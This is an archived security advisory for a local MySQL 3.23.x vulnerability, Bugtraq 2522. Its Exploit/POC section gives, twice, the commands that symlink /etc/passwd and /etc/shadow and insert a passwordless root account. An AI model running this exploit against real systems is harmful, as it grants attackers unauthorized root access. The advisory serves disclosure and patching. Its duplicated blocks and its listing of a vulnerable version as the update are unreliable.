MySQL Root Operation Symbolic Link File Overwriting Vulnerability
BID:2522
Info
MySQL Root Operation Symbolic Link File Overwriting Vulnerability
| Bugtraq ID: | 2522 |
| Class: | Environment Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Mar 18 2001 12:00AM |
| Updated: | Mar 18 2001 12:00AM |
| Credit: | This vulnerability was announced to Bugtraq by [email protected] on March 18, 2001. |
| Vulnerable: |
MySQL AB MySQL 3.23.34 MySQL AB MySQL 3.20.32 a |
| Not Vulnerable: |
MySQL AB MySQL 3.23.36 |
Exploit / POC
MySQL Root Operation Symbolic Link File Overwriting Vulnerability
$ cd /var/tmp
$ ln -s /etc/passwd gotcha.ISD
$ ln -s /etc/shadow make_me_r00t.ISD
$ mysql -u user -h localhost -p somepassword '../../tmp'
create table gotcha(qqq varchar(255));
create table make_me_r00t(qqq varchar(255));
insert into gotcha values('\nr00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\n');
insert into make_me_r00t values('\nr00t::1:0:99999:7:-1:-1:\n');
\q
$
$ cd /var/tmp
$ ln -s /etc/passwd gotcha.ISD
$ ln -s /etc/shadow make_me_r00t.ISD
$ mysql -u user -h localhost -p somepassword '../../tmp'
create table gotcha(qqq varchar(255));
create table make_me_r00t(qqq varchar(255));
insert into gotcha values('\nr00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\n');
insert into make_me_r00t values('\nr00t::1:0:99999:7:-1:-1:\n');
\q
$
Solution / Fix
MySQL Root Operation Symbolic Link File Overwriting Vulnerability
Solution:
Updates available:
MySQL AB MySQL 3.23.34
Solution:
Updates available:
MySQL AB MySQL 3.23.34
-
MySQL AB MySQL 3.23.36
http://www.mysql.com/downloads/mysql-3.23.html
References
MySQL Root Operation Symbolic Link File Overwriting Vulnerability
References:
References: